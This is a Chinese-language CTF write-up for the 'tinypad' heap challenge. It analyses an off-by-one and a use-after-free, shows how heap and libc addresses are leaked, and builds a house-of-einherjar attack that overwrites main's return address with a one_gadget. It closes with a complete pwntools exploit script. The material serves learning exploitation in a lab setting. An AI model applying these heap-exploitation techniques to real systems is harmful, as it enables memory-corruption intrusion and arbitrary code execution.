栗子https://github.com/tower111/software.git
got表不可写:劫持程序执行流的思路1.复写hook函数。2.覆盖返回地址
canary和NX保护。
漏洞和数据结构
if ( v13 > 0 && v13 <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (v13 - 1 + 16LL)] )
{
c = '0';
strcpy(tinypad, *(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
while ( toupper(c) != 'Y' )
{
write_n((__int64)"CONTENT: ", 9LL);
v8 = strlen(tinypad);
writeln((__int64)tinypad, v8);
write_n((__int64)"(CONTENT)>>> ", 13LL);
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v9, 0xAu);
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * (v13 - 1 + 16LL) + 8], tinypad);
v3 = 8LL;
在bss段偏移0x100位置处会放入size和chunk的地址,chunk里面存放content。
bss段的开始存放的是edit函数缓冲的数据。
1.函数自定义的read函数存在off by one 漏洞。这个代码比较麻烦可以手动测试得出结论。可以复写每个chunk的prive_size和prive_inuse字段,在edit长度为256的时候会覆盖掉memo1的size字段(只能设置为0)
2.在free之后只是把size置0并没有把指针清零,存在UAF漏洞。
利用思路
只有off by one利用需要2层chunk,这里只有一层显然不行(参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/)。
unlink需要堆溢出,完整操作下一个堆,这里只利用unlink也不行(可以用double free 或者其他方法获取到一个堆的完整控制权,再用unlink应该是可以的)。
double free:
if ( v8 == 'D' )
{
write_n("(INDEX)>>> ", 11LL, v9);
v20 = read_int();
if ( v20 > 0 && v20 <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
{
free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
*(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
writeln("\nDeleted.", 9LL);
}
else
{
writeln("Not used", 8LL);
}
}
这里对free函数做了限制,不能double free
house of einherjar是什么参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
house of einherjar需要:能够修改inuse位,申请到的空间内容两个单位可以控制。(对于进行unlink的chunk并不会检查自己的size部分)
利用house of einherjar 申请到bss段的空间,修改memo数组,实现复写hook_malloc或者是修改返回地址
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v9, 0xAu);
由于会读取原长度然后输入,malloc_hook初始为0所以不能用就只能用第二种方案了。
获取返回地址的方案:泄露libc找到__environ函数计算出main_arean的地址
1.申请到bss空间需要:heap地址,bss地址
2.复写返回地址需要:libc地址,一段合适的ropgedat
获取需要数据
先找ropgedat
搜索libc库的/bin/sh 字符串可以找到这里,很完美的一段ropgedat
text:000000000004520F loc_4520F: ; CODE XREF: sub_44E20+16E↑j
.text:000000000004520F lea rax, aBinSh+5 ; "sh"
.text:0000000000045216 lea rsi, unk_3C6560
.text:000000000004521D xor edx, edx
.text:000000000004521F mov edi, 2
.text:0000000000045224 mov [rsp+188h+var_148], rbx
.text:0000000000045229 mov [rsp+188h+var_140], 0
.text:0000000000045232 mov [rsp+188h+var_158], rax
.text:0000000000045237 lea rax, aC ; "-c"
.text:000000000004523E mov [rsp+188h+var_150], rax
.text:0000000000045243 call sigaction
.text:0000000000045248 lea rsi, unk_3C64C0
.text:000000000004524F xor edx, edx
.text:0000000000045251 mov edi, 3
.text:0000000000045256 call sigaction
.text:000000000004525B xor edx, edx
.text:000000000004525D mov rsi, r12
.text:0000000000045260 mov edi, 2
.text:0000000000045265 call sigprocmask
.text:000000000004526A mov rax, cs:environ_ptr_0
.text:0000000000045271 lea rdi, aBinSh ; "/bin/sh"
.text:0000000000045278 lea rsi, [rsp+188h+var_158]
.text:000000000004527D mov cs:dword_3C64A0, 0
.text:0000000000045287 mov cs:dword_3C64A4, 0
.text:0000000000045291 mov rdx, [rax]
.text:0000000000045294 call execve
fast bin大小的chunk在释放后会在fd指针处写入数据,组成单链表。
输出这个时候chunk中内容即可。
small bin大小的块释放后进入unsort bin。unsort bin里面fd和bk是双向链表,链里面的第一个chunk的fd,bk指针会指向main_arena地址处,这个地址和libc_base之间的偏移是固定的。
利用代码分析
add(0x10, 'a')
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_)
删除chunk1和chunk2的之后输出heap_base
pwndbg> x /10xg 0x2110000
0x2110000: 0x0000000000000000 0x0000000000000021
0x2110010: 0x0000000002110020 0x0000000000000000
0x2110020: 0x0000000000000000 0x0000000000000021
0x2110030: 0x0000000000000000 0x0000000000000000
0x2110040: 0x0000000000000000 0x0000000000000111
所以这里要减去0x20(ubuntu18在这里不能减0x20了)。
在删除chunk3之后chunk3会合并相邻的2个chunk合并之后在放入unsort bin里面,然后被topchunk回收。
pwndbg> heap
0x148b000 PREV_INUSE {
prev_size = 0x0,
size = 0x21001,
fd = 0x7f434a1aab78 <main_arena+88>,
bk = 0x7f434a1aab78 <main_arena+88>,
fd_nextsize = 0x20,
bk_nextsize = 0x20
}
满足放进unsort bin,仅有一个chunk所以fd和bk
位置处都是main_arena 。
如何获取到main_arena和libc之间的偏移?
liu@liu-VirtualBox:~$ pidof tinypad
4072
liu@liu-VirtualBox:~$ cat /proc/4072/maps
00400000-00402000 r-xp 00000000 08:01 471441 /home/liu/Desktop/tinypad
00601000-00602000 r--p 00001000 08:01 471441 /home/liu/Desktop/tinypad
00602000-00603000 rw-p 00002000 08:01 471441 /home/liu/Desktop/tinypad
01082000-010a3000 rw-p 00000000 00:00 0 [heap]
7ff38f379000-7ff38f539000 r-xp 00000000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f539000-7ff38f739000 ---p 001c0000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f739000-7ff38f73d000 r--p 001c0000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73d000-7ff38f73f000 rw-p 001c4000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73f000-7ff38f743000 rw-p 00000000 00:00 0
7ff38f743000-7ff38f769000 r-xp 00000000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f949000-7ff38f94c000 rw-p 00000000 00:00 0
7ff38f968000-7ff38f969000 r--p 00025000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f969000-7ff38f96a000 rw-p 00026000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f96a000-7ff38f96b000 rw-p 00000000 00:00 0
7fffbd9ac000-7fffbd9cd000 rw-p 00000000 00:00 0 [stack]
7fffbd9fb000-7fffbd9fd000 r--p 00000000 00:00 0 [vvar]
7fffbd9fd000-7fffbd9ff000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
main_arena=0x7ff38f73db78
offset=0x7ff38f73db78-0x7ff38f379000=0x3c4b78
到这里需要的数据基本上完成了。
接下来是构造house of einherjar
add(0x18,"d"*0x18)
add(0x100,"e"*0xf8+'\x11')
add(0x100,'f'*0xf8)
在free的时候会检查下一个chunk的size所以这里需要加个’\x11’本chunk的size从0x111覆盖后会变为0x100
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0)+p64(0x101)+p64(fake_addr)*2
edit(3,payload)
这里并没有写入到chunk3里面但是会写入到bss段的开始,我们在这里构造的fake_chunk. 为了绕过unlink的检查这里的fd和bk
必须都是fake_addr。size和prive_inuse
需要是下一个溢出chunk的下一个chunk(这里是chunk3)的size,inuse为1(默认unsortbin中第一个chunk的prive_inuse位为1)。(在wiki上看到说unlink的时候fakechunk的size不会检验,只会检查chunk2的size。为什么size非要是这样不知道原因,希望大佬看到这篇文章帮助一下)。
接下来是利用off by one漏洞来修改inuse位
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
delete(2)
p.recvuntil("\nDeleted.")
因为是用strcpy所以中间有\x00会截断,这里用循环来实现写入size。
执行完delete之后就是这样,伪造的chunk会放入unsort bin中,这个过程会设置size和fd,bk。有一点需要注意,下次申请的空间会先查找这里,然后才会用top chunk。我们正常申请0x000000000197c0c0那么大的chunk的话会用mmap,所以想要真正起作用还需要修改这个size。
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)
程序是先copy原数据到bss段,并且edit的size也不能超过原size(这个size是用strlen读取到的),所以添加一个新的chunk比较方便
接下就是泄露返回地址和复写返回地址。
思路:设置chunk1指向environ的地址就能输出,泄露计算出main_ret_addr,让chunk1指向,main_ret_addr修改chunk1为gedgat。
想要修改chunk1可以让chunk2指向chunk1.
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8
注意这里的p64(0x100),不能设置为0如果为0会导致下面的edit失败。这也是本题不能用double free的原因。
万事俱备接下来修改就行了
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()
完整exp
from pwn import *
context.log_level="debug"
p=process("tinypad")
elf=ELF("./tinypad")
libc=ELF("./libc.so.6")
offset=0x3c4b78
def add(size,content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
def delete(index):
p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
#size=0,p!=NULL
#\x00
def edit(index,content):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
p.sendline("Y")
add(0x10, 'a')
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
#gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_arena)
libc_base=main_arena-offset
print "libc_base="+hex(libc_base)
# house of einherjar
add(0x18,"d"*0x18)
add(0xf0,"e"*0xf0)
add(0xf0,'f'*0xf8)
add(0x100,"f"*0xf8)
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0x11111111)+p64(0xf1)+p64(fake_addr)*2
edit(3,payload)
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
#edit(1,'a'*0x10+p64(size))
#gdb.attach(p)
delete(2)
p.recvuntil("\nDeleted.")
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)
#gdb.attach(p)
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
#gdb.attach(p)
p.recvuntil(" # CONTENT: ")
environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8
print "main_ret _addr="+hex(main_ret_addr)
gdb.attach(p)
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()
本例只适用与unbutu16 ,因为18管理策略变了所以不能get shell。
参考:https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
我的邮箱[email protected] 希望有老哥能解决我的问题,也欢迎求助。